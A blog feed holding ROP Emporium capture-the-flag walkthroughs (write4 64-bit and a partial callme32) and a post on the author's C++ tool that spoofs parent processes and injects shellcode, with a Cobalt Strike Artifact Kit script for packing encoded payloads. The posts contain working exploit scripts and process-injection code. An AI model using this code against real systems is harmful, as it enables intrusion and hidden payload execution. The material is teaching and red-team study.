At this point we should talk about 64-bit registers. You may have noticed that all the registers above look the same and have the same function, but begin with an r (e.g. rip
) instead of an e (e.g. eip
). The r- versions just indicate that the register in 64-bit and the e- that the register is 32-bit, otherwise the function of the register is the same.
64-bit registers are (unsurprisingly) 64-bits in length, however, for many CPUs the 64-bit memory address space does not utilise all of the available 64-bits. x86-64 and ARMv8 for example, two of the most common CPU types, only support up to 48-bits of virtual address space. This is still more than large enough for tasks today, however it does mean that if you try to access a memory address that uses more than 48 bits then the CPU will error with a segfault before the instruction using that memory address actually executes.
So looking above, we can see that rip
is at the ret
of the pwnme
function, and we know that the ret
operation will return to the address at the top of the stack and then pop it off.
The address at the top of the stack is part of our buffer: faaaaaaag (unfortunately). Let's use GDB to observe this as a memory address using x/gx $esp
(examine giant (64-bit value) and print in hex at esp):
gef➤ x/gx $rsp
0x7ffffc33c7e8: 0x6161616161616166
We can already tell that more than 48-bits are used by the lack of trailing zeros, but let's print it in binary too to check:
gef➤ x/gt $rsp
0x7ffffc33c7e8: 0110000101100001011000010110000101100001011000010110000101100110
Yep, definitely using more than 48-bits! In order to not error the leading 16 (64-48) bits would have to be 0s. This explains why our segfault happens at the ret
, and we have determined that the offset that we want is at faaaaaaag as this is the return address that it is trying to be returned to.
Right, so we know we have an import to system
and we have a mov
gadget that can write a register to a the location pointed at by another register - the question now is what to write and where?
We could use the gadget multiple times to build up a long string, however we have 8 ASCII characters to work with in a 64-bit memory adress, so we could just try writing /bin/sh. With the null-byte terminator that's eight characters, perfect!
As for where, let's take a look at the memory mapping for writable locations...
Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /root/Downloads/write464 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /root/Downloads/write464 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /root/Downloads/write464 0x00007f76a8350000 0x00007f76a8372000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a8372000 0x00007f76a84ba000 0x0000000000022000 r-x /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a84ba000 0x00007f76a8506000 0x000000000016a000 r-- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a8506000 0x00007f76a8507000 0x00000000001b6000 --- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a8507000 0x00007f76a850b000 0x00000000001b6000 r-- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a850b000 0x00007f76a850d000 0x00000000001ba000 rw- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a850d000 0x00007f76a8513000 0x0000000000000000 rw- 0x00007f76a853b000 0x00007f76a853c000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a853c000 0x00007f76a855a000 0x0000000000001000 r-x /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a855a000 0x00007f76a8562000 0x000000000001f000 r-- /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a8562000 0x00007f76a8563000 0x0000000000026000 r-- /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a8563000 0x00007f76a8564000 0x0000000000027000 rw- /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a8564000 0x00007f76a8565000 0x0000000000000000 rw- 0x00007ffc0f584000 0x00007ffc0f5a5000 0x0000000000000000 rw- [stack] 0x00007ffc0f5a9000 0x00007ffc0f5ac000 0x0000000000000000 r-- [vvar] 0x00007ffc0f5ac000 0x00007ffc0f5ae000 0x0000000000000000 r-x [vdso]
There's a writable section for our binary, which doesn't support ASLR so we know that these addresses will be static. This writable section is probably for the Global Offset Table, which as detailed in part 2 needs to be writeable. Let's see if we can confirm this.
gef➤ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0000000000400807 <+0>: push rbp 0x0000000000400808 <+1>: mov rbp,rsp 0x000000000040080b <+4>: mov edi,0x40090c 0x0000000000400810 <+9>: call 0x4005e0 <system@plt> 0x0000000000400815 <+14>: nop 0x0000000000400816 <+15>: pop rbp 0x0000000000400817 <+16>: ret End of assembler dump. gef➤ disas 0x4005e0 Dump of assembler code for function system@plt: 0x00000000004005e0 <+0>: jmp QWORD PTR [rip+0x200a3a] # 0x601020 <system@got.plt> 0x00000000004005e6 <+6>: push 0x1 0x00000000004005eb <+11>: jmp 0x4005c0 End of assembler dump. gef➤
We can see the system@got.plt
is at 0x601020, which, in our memory map above, is indeed our writable section. Let's write our string towards the end of the GOT, as long as we don't overwrite the system@got.plt
address we should be ok.
Let's add what we can to our pwn script:
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
gdb_cmds = [
'b* main',
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100, n=8))
offset = pwn.cyclic_find("faaaaaaag", n=8)
system = binary.symbols.plt.system
mov_r15_to_pointer_r14 = 0x00400820
pop_r14_r15 = 0x00400890
ptr_got_near_end = 0x601900
buf = ""
buf += "A" * offset
buf += pwn.p64(pop_r14_r15) # ret address
buf += pwn.p64(ptr_got_near_end) # popped into r14
buf += "/bin/sh\x00" # popped into r15
buf += pwn.p64(mov_r15_to_pointer_r14) # ret from pop gadget
buf += # need to setup call to system...
io.sendline(buf)
io.interactive()
So we'll overwrite the return address with the address of the gadget which will pop two values off the stack and into r14 and r15, these will be the address to the writeable GOT and the null-terminated string /bin/sh. We'll then return from that to the mov
gadget which will write the contents of the r15 register to the location pointed at by the r14 register - so our string will be written to the GOT.
All that remains after that is so setup the call to system
, but how do we do this in 64-bit?
For 32-bit programs we know that the arguments to a function go on the stack in reverse order, so that they can be popped off in the right order.
For 64-bit programs things work a little differently. For System V AMD64 ABI systems (Solaris, Linux, FreeBSD & macOS), the first six integer or pointer arguments are passed in the registers rdi, rsi, rdx, rcx, r8 and r9, then any further arguments are pushed onto the stack. For Microsoft systems, the first four arguments are passed in the rcx, rdx, r8 and r9 registers, then any further arguments are passed on the stack.
This means that as we want to call system
with the address of our string, we'll have to pop that pointer into the rdi register and then call system
. Let's find an appropriate gadget if we can in radare2.
[0x0040084a]> /R pop rdi
0x00400893 5f pop rdi
0x00400894 c3 ret
Perfect! Let's finish off our script and give it a go!
So our final script looks like this:
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
gdb_cmds = [
'b* main',
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
#io = pwn.process(binary.path)
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100, n=8))
offset = pwn.cyclic_find("faaaaaaag", n=8)
system = binary.symbols.plt.system
mov_r15_to_pointer_r14 = 0x00400820
pop_r14_r15 = 0x00400890
ptr_got_near_end = 0x601900
pop_rdi = 0x00400893
buf = ""
buf += "A" * offset
buf += pwn.p64(pop_r14_r15) # ret address
buf += pwn.p64(ptr_got_near_end) # popped into r14
buf += "/bin/sh\x00" # popped into r15
buf += pwn.p64(mov_r15_to_pointer_r14) # ret from pop gadget
buf += pwn.p64(pop_rdi) # ret from mov gadget
buf += pwn.p64(ptr_got_near_end) # popped into rdi
buf += pwn.p64(system) # ret to system
io.sendline(buf)
io.interactive()
We run it and check the gdb output:
gef➤ c
Continuing.
[Detaching after fork from child process 2246]
Gdb looks good, let's try and run a command in the original window...
python pwn_write464.py [*] '/root/Downloads/write464' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/usr/bin/gdbserver': pid 2159 [*] running in new terminal: /usr/bin/gdb -q "/root/Downloads/write464" -x "/tmp/pwnfqSFEj.gdb" [!] cyclic_find() expects 8-byte subsequences by default, you gave 'faaaaaaag' Unless you specified cyclic(..., n=9), you probably just want the first 4 bytes. Truncating the data at 4 bytes. Specify cyclic_find(..., n=9) to override this. [*] Switching to interactive mode Detaching from process 2246 $ cat flag.txt ROPE{a_placeholder_32byte_flag!} $
Boom! Headshot!
We've cracked ropemporium's write4, in 64-bit this time! We've had to make use of a gadget to manually write the string we want to execute into memory, and we've gotten a bit more familiar with radare2, gdb-gef and pwntools.
Next time we'll try badchars, a challenge where we'll have to learn how to deal with binaries which can mangle certain characters in our buffer!
]]>I've been wanting to learn C++ and how to use Windows APIs for a while now. I know you can use PInvoke from C# but in some ways it's easier to just knuckle down and learn how to do it in C++. I needed something to focus the learning however so I set about writing a tool that could create arbitrary processes under a specific parent process, then inject shellcode into a new thread in that process.
The idea is that it can be used to create a process for shellcode that is more hidden than just creating a new instance of a process. It doesn't really provide any added value over just migrating into a new process, but hey, it's different and something to aim for :).
The end result is an exe that you can run like this:
Ridgway.exe <new process path> <parentProcessId>
Caution though this is still very much a WIP!
Most of the program is pretty straightforward, the first bit of interesting stuff takes place in ParentProcessManipulation.h. In StartProcessSuspended
we get a handle on the parent process (acquiring debug privileges in the process if required) and then get the process attribute list for that process, requesting the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
specifically.
PPROC_THREAD_ATTRIBUTE_LIST GetParentAttributeList(HANDLE &parentProcessHandle)
{
SIZE_T attributeListSize = 0;
// Pass null to get the size of the attribute list
InitializeProcThreadAttributeList(nullptr, 1, 0, &attributeListSize);
// Allocate space for it
PPROC_THREAD_ATTRIBUTE_LIST parentAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeListSize);
if (nullptr == parentAttributeList)
{
DisplayErrorMessage(TEXT("HeapAlloc error"), GetLastError());
return nullptr;
}
// Create the attribute list
if (!InitializeProcThreadAttributeList(parentAttributeList, 1, 0, &attributeListSize))
{
DisplayErrorMessage(TEXT("InitializeProcThreadAttributeList error"), GetLastError());
return nullptr;
}
// Update it with the parent process attribute using the parent process handle
if (!UpdateProcThreadAttribute(parentAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), nullptr, nullptr))
{
DisplayErrorMessage(TEXT("UpdateProcThreadAttribute error"), GetLastError());
return nullptr;
}
return parentAttributeList;
}
For fellow C++ noobs, the first call to InitializeProcThreadAttributeList
is passed a nullptr
as an attribute list and a reference to a new SIZE_T
struct (attributeListSize
). When no attribute list is passed to the function it instead populates the size struct with the amount of space that is required, so we can then use HeapAlloc
to reserve that space and then call the function again passing the pointer to that space to the function. This is a common pattern in C++.
The attribute list in the STARTUPINFOEX
structure for the new process is then set to this returned attribute list, and that is then passed to CreateProcess
.
STARTUPINFOEX startupInfo = { sizeof(startupInfo) };
// Get the attribute list from the parent process
PPROC_THREAD_ATTRIBUTE_LIST parentAttributeList = GetParentAttributeList(parentProcessHandle);
if (parentAttributeList == nullptr)
{
DisplayErrorMessage(TEXT("Error getting attributes from parent process"), GetLastError());
return processInfo;
}
// Set the startup info attribute list to the one set from the 'parent'.
startupInfo.lpAttributeList = parentAttributeList;
// Create the process
if (!CreateProcess(nullptr, processName, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, nullptr, nullptr, &startupInfo.StartupInfo, &processInfo))
{
DisplayErrorMessage(TEXT("CreateProcess error"), GetLastError());
return processInfo;
}
This creates the process with the given parent ID, as can be seen in ProcessExplorer.exe
:
The next interesting bit takes places in InjectShellcodeIntoNewThread
in ShellcodeInjection.h. This bit is pretty vanilla in terms of shellcode injection, but we'll go over it anyway.
BOOL InjectShellcodeIntoNewThread(PROCESS_INFORMATION processInfo)
{
const PVOID memoryAddress = VirtualAllocEx(processInfo.hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!memoryAddress)
{
DisplayErrorMessage(TEXT("Error calling VirtualAlloc"), GetLastError());
return FALSE;
}
if (!WriteProcessMemory(processInfo.hProcess, memoryAddress, shellcode, sizeof(shellcode), nullptr))
{
DisplayErrorMessage(TEXT("Error writing process memory"), GetLastError());
return FALSE;
}
if (!CreateRemoteThread(processInfo.hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)memoryAddress, nullptr, PAGE_EXECUTE_READWRITE, nullptr))
{
DisplayErrorMessage(TEXT("Error creating thread"), GetLastError());
return FALSE;
}
return TRUE;
}
We first make a call to VirtualAllocEx
passing in the handle to our newly created process. This allocates some memory for our new process that'll we'll use for our new thread. As we will write to it next and then execute it it needs to be created with PAGE_EXECUTE_READWRITE
permissions.
Next we write the hard-coded shellcode to the base of that memory with WriteProcessMemory
and then create a new thread in our target process with CreateRemoteThread
, setting the entry point of the thread to our newly created page.
After this we just resume the thread, and the shellcode executes!
The last interesting bit of this project was adding Ridgway to Cobalt Strike using the Artifact Kit. There's an artifact.cna in the repository that can be loaded into Cobalt Strike so that when an executable is generated it will create a Ridgway executable with that shellcode.
set EXECUTABLE_ARTIFACT_GENERATOR {
local('$handle $data $key $index $payload $resource $buffer $b $x');
($resource, $payload) = @_;
$temp = openf(">/tmp/ridgwayunencoded.bin");
writeb($temp, $payload);
closef($temp);
$msf = exec("/opt/cobaltstrike-artifactkit/artifact/dist-ridgway/encode_payload.sh");
wait($msf);
closef($msf);
$in = openf("/tmp/ridgwayencoded.bin");
$encoded_payload = readb($in, -1);
closef($in);
# try again or use the default artifact... I don't have it!
if (!-exists script_resource($resource)) {
return $null;
}
# read in the executable template
$handle = openf(script_resource($resource));
$data = readb($handle, -1);
closef($handle);
# find the location of our data in the executable
$index = indexOf($data, 'A' x 1536);
# pack data into a buffer
$buffer = allocate(1536);
# pack our encoded payload into the buffer
for ($x = 0; $x < strlen($encoded_payload); $x++) {
writeb($buffer, chr((byteAt($encoded_payload, $x))));
}
# retrieve the contents of the buffer.
closef($buffer);
$b = readb($buffer, -1);
# return our encoded shellcode.
return replaceAt($data, "$[1024]b", $index);
}
The way this works it is locates the buffer of A's in the binary and just patches it with the shellcode. The only difficult part was encoding the shellcode, as any null bytes would terminate the buffer. In the end I just passed this to msfvenom
(via encode_payload.sh
which is just an msfvenom
one-liner, necessary to handle the file descriptors) and used it to encode it then patched the binary. It's super ugly so if you know of a better way please let me know on Twitter! It does work however, which is the main thing!
The result is on my GitHub but is still very much a WIP. Presently I've only tested the Debug x64 configuration with x64 bit shellcode, and I'm mid-implementing process hollowing as a secondary injection method, but have some more learning to do there...
Feel free to have a play and let me know of any issues or create a PR and contribute!
Last time we looked at ropemporium's second 32-bit challenge, split. This time we're going to look at the third challenge, callme (maybe).
This challenge is a step up from the previous two as we're told we have to call three different functions in oder (callme_one()
, callme_two()
and callme_three()
) each with the arguments 1,2,3
to decrypt the flag. The binary comes with an encrypted_flag.txt and a couple of Key.dat files, presumably used by the functions to decrypt the flag, in addition to a libcallme32.so library.
First off, let's run it:
callme by ROP Emporium
32bits
Hope you read the instructions...
> test
Exiting
Seems straightforward enough...
Let's take a look a the binary in radare2.
r2 callme32 -- I thought we were friends. :_ [0x08048640]> i blksz 0x0 block 0x100 fd 3 file callme32 format elf iorw false mode r-x size 0x1e68 humansz 7.6K type EXEC (Executable file) arch x86 baddr 0x8048000 binsz 6541 bintype elf bits 32 canary false sanitiz false class ELF32 crypto false endian little havecode true intrp /lib/ld-linux.so.2 lang c linenum true lsyms true machine Intel 80386 maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath ./ static false stripped false subsys linux va true [0x08048640]>
As before, we get some information about the binary using i
, and then perform some analysis using aaa
, and check the function list with afl
.
[0x08048640]> afl 0x08048558 3 35 sym._init 0x08048590 1 6 sym.imp.printf 0x080485a0 1 6 sym.imp.fgets 0x080485b0 1 6 sym.imp.callme_three 0x080485c0 1 6 sym.imp.callme_one 0x080485d0 1 6 sym.imp.puts 0x080485e0 1 6 sym.imp.exit 0x080485f0 1 6 sym.imp.__libc_start_main 0x08048600 1 6 sym.imp.setvbuf 0x08048610 1 6 sym.imp.memset 0x08048620 1 6 sym.imp.callme_two 0x08048630 1 6 sub.__gmon_start_630 0x08048640 1 33 entry0 0x08048670 1 4 sym.__x86.get_pc_thunk.bx 0x08048680 4 43 sym.deregister_tm_clones 0x080486b0 4 53 sym.register_tm_clones 0x080486f0 3 30 sym.__do_global_dtors_aux 0x08048710 4 43 -> 40 entry1.init 0x0804873b 1 123 sym.main 0x080487b6 1 86 sym.pwnme 0x0804880c 1 67 sym.usefulFunction 0x08048850 4 93 sym.__libc_csu_init 0x080488b0 1 2 sym.__libc_csu_fini 0x080488b4 1 20 sym._fini [0x08048640]>
We note that the callme functions are actually imported functions (indicated by the sym.imp prefix, and confirmed using ii
to view the imports). We also see our usual usefulFunction and pwnme functions.
We can then enter Visual Mode with V
, cycle to the disassembler layout with p
and then use the flag search hud, _
, to search for our usefulFunction.
[0x0804880c 26% 220 callme32]> pd $r @ sym.usefulFunction ┌ (fcn) sym.usefulFunction 67 │ sym.usefulFunction (); │ 0x0804880c 55 push ebp │ 0x0804880d 89e5 mov ebp, esp │ 0x0804880f 83ec08 sub esp, 8 │ 0x08048812 83ec04 sub esp, 4 │ 0x08048815 6a06 push 6 ; 6 │ 0x08048817 6a05 push 5 ; 5 │ 0x08048819 6a04 push 4 ; 4 │ 0x0804881b e890fdffff call sym.imp.callme_three ;[1] │ 0x08048820 83c410 add esp, 0x10 │ 0x08048823 83ec04 sub esp, 4 │ 0x08048826 6a06 push 6 ; 6 │ 0x08048828 6a05 push 5 ; 5 │ 0x0804882a 6a04 push 4 ; 4 │ 0x0804882c e8effdffff call sym.imp.callme_two ;[2] │ 0x08048831 83c410 add esp, 0x10 │ 0x08048834 83ec04 sub esp, 4 │ 0x08048837 6a06 push 6 ; 6 │ 0x08048839 6a05 push 5 ; 5 │ 0x0804883b 6a04 push 4 ; 4 │ 0x0804883d e87efdffff call sym.imp.callme_one ;[3] │ 0x08048842 83c410 add esp, 0x10 │ 0x08048845 83ec0c sub esp, 0xc │ 0x08048848 6a01 push 1 ; 1 ; i └ 0x0804884a e891fdffff call sym.imp.exit ;[4] 0x0804884f 90 nop
We can see here that our callme functions are being invoked, but in the wrong order and with the wrong parameters compared to our information text about this challenge.
From here we can seek to the callme functions by pressing the number next to the call in the square brackets, in this case [1], [2] or [3].
We can poke around a bit more, but what we need to do appears to be clear, lets give it a go!
Let's create the skeleton of our pwntools script.
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
gdb_cmds = [
'b* main',
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.interactive()
Running this we get some useful information in the console and our gdb session starts. We can use gdb to print the memory address of the callme functions with the print
command.
[*] '/root/ctfs/ropemporium/32/callme/callme32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [+] Starting local process '/usr/bin/gdbserver': pid 5812 [*] running in new terminal: /usr/bin/gdb -q "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwnhVaLOg.gdb" [*] Switching to interactive mode
We note that the checksec output agrees with the information from radare, and that the none-executable stack (NX) is enabled but there is no stack canary or ASLR (PIE)..
Then in the gdb window:
Breakpoint 1, 0x0804873b in main () gef➤ print 'callme_one@plt' $2 = {<text variable, no debug info>} 0x80485c0 <callme_one@plt> gef➤ print 'callme_two@plt' $3 = {<text variable, no debug info>} 0x8048620 <callme_two@plt> gef➤ print 'callme_three@plt' $4 = {<text variable, no debug info>} 0x80485b0 <callme_three@plt> gef➤
We can compare these to the the function list from radare, and see that they match.
Let's set up a rop chain similar to split32 where we call the first function, callme_one() with the appropriate arugments.
As we setup the binary using the pwntools ELF function we get a few extras, such as being able to resolve the function pointers using the binary.symbols, which we'll log to check they're what we expect.
#!/usr/bin/env python2 import pwn # Set the context for any pwntools magic pwn.context.arch = 'i386' # Load the binary as a pwntools ELF pwn.context.binary = binary = pwn.ELF('./callme32') # Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb pwn.context.terminal = ['byobu', 'new-window'] # Function pointers callme_one_plt = binary.symbols.plt.callme_one callme_two_plt = binary.symbols.plt.callme_two callme_three_plt = binary.symbols.plt.callme_three pwn.info("callme_one_plt: %#x", callme_one_plt) pwn.info("callme_two_plt: %#x", callme_two_plt) pwn.info("callme_three_plt: %#x", callme_three_plt) # GDB Commands gdb_cmds = [ 'b* %#x' % callme_one_plt, 'c' ] # Start debugging io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds)) io.recvuntil("> ") io.sendline("A" * 100) io.interactive()
Running this we see the PLT callme functions have the expected values:
[*] '/root/ctfs/ropemporium/32/callme/callme32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [*] callme_one_plt: 0x80485c0 [*] callme_two_plt: 0x8048620 [*] callme_three_plt: 0x80485b0 [+] Starting local process '/usr/bin/gdbserver': pid 10188 [*] running in new terminal: /usr/bin/gdb -q "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwnPXkiBV.gdb" [*] Switching to interactive mode
And that the process errors as expected:
[ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffe9fa70 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $ebx : 0x0 $ecx : 0xf7f2989c → 0x00000000 $edx : 0xffe9fa70 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $esp : 0xffe9faa0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $ebp : 0x41414141 ("AAAA"?) $esi : 0xf7f28000 → 0x001d5d8c $edi : 0x0 $eip : 0x41414141 ("AAAA"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $ds: 0x002b $es: 0x002b $ss: 0x002b $cs: 0x0023 $gs: 0x0063 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xffe9faa0│+0x00: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp 0xffe9faa4│+0x04: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9faa8│+0x08: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9faac│+0x0c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9fab0│+0x10: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9fab4│+0x14: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9fab8│+0x18: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0xffe9fabc│+0x1c: "AAAAAAAAAAAAAAAAAAAAAAAA" ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x41414141 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "callme32", stopped, reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x41414141 in ?? () gef➤
Replacing this with our cyclic string, we find the overwrite occurs with 0x6161616c, the same as the last two challenges.
Let's overwrite this with As and confirm our control.
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)
# GDB Commands
gdb_cmds = [
'b* %#x' % callme_one_plt,
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))
# Create dummy rop chain of As
rop = "AAAA"
# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
overwrite: str(rop)
})
io.sendline(payload)
io.interactive()
Perfect! Now all that remains is to create our rop chain.
The first thing we want to call is callme_one, so that will go at the start of the chain and will be the first thing to get executed.
When the process execution 'returns' to our callme_one address it will expect the stack to be set up. The top of the stack should contain the return address of the function, and then the function arguments as it's 32-bit.
Our stack should therefore look like:
.......................Top of stack, lower memory addresses
0x00000003
0x00000002
0x00000001
<return address>
<address of callme_one@plt>
0x41414141
0x41414141
0x41414141
...
......................Bottom of stack, higher memory addresses
Let's set up our rop chain then, forgetting about the return address for now and just setting it to BBBB:
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)
# GDB Commands
gdb_cmds = [
'b* %#x' % callme_one_plt,
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))
# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt)
rop += "BBBB"
rop += pwn.p32(0x1)
rop += pwn.p32(0x2)
rop += pwn.p32(0x3)
# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
overwrite: str(rop)
})
io.sendline(payload)
io.interactive()
Running this, we break at callme_one:
[ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff8a6fc0 → 0x61616161 ("aaaa"?) $ebx : 0x0 $ecx : 0xf7f3b89c → 0x00000000 $edx : 0xff8a6fc0 → 0x61616161 ("aaaa"?) $esp : 0xff8a6ff0 → 0x42424242 ("BBBB"?) $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f3a000 → 0x001d5d8c $edi : 0x0 $eip : 0x80485c0 → <callme_one@plt+0> jmp DWORD PTR ds:0x804a018 $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $cs: 0x0023 $es: 0x002b $ss: 0x002b $gs: 0x0063 $ds: 0x002b ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff8a6ff0│+0x00: 0x42424242 ← $esp 0xff8a6ff4│+0x04: 0x00000001 0xff8a6ff8│+0x08: 0x00000002 0xff8a6ffc│+0x0c: 0x00000003 0xff8a7000│+0x10: 0xf7f3000a → 0x870c0e41 0xff8a7004│+0x14: 0xf7f3a000 → 0x001d5d8c 0xff8a7008│+0x18: 0x00000000 0xff8a700c│+0x1c: 0xf7d7d9a1 → <__libc_start_main+241> add esp, 0x10 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x80485b0 <callme_three@plt+0> jmp DWORD PTR ds:0x804a014 0x80485b6 <callme_three@plt+6> push 0x10 0x80485bb <callme_three@plt+11> jmp 0x8048580 → 0x80485c0 <callme_one@plt+0> jmp DWORD PTR ds:0x804a018 0x80485c6 <callme_one@plt+6> push 0x18 0x80485cb <callme_one@plt+11> jmp 0x8048580 0x80485d0 <puts@plt+0> jmp DWORD PTR ds:0x804a01c 0x80485d6 <puts@plt+6> push 0x20 0x80485db <puts@plt+11> jmp 0x8048580 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "callme32", stopped, reason: BREAKPOINT ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x80485c0 → Name: callme_one@plt() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x080485c0 in callme_one@plt () gef➤
Here we can see that we're in the callme_one function, and it looks like our stack is set up correctly! Our return address is 0x42424242 (BBBB), and our 1,2 and 3 are in the correct positions so that the function thinks they are the arguments!
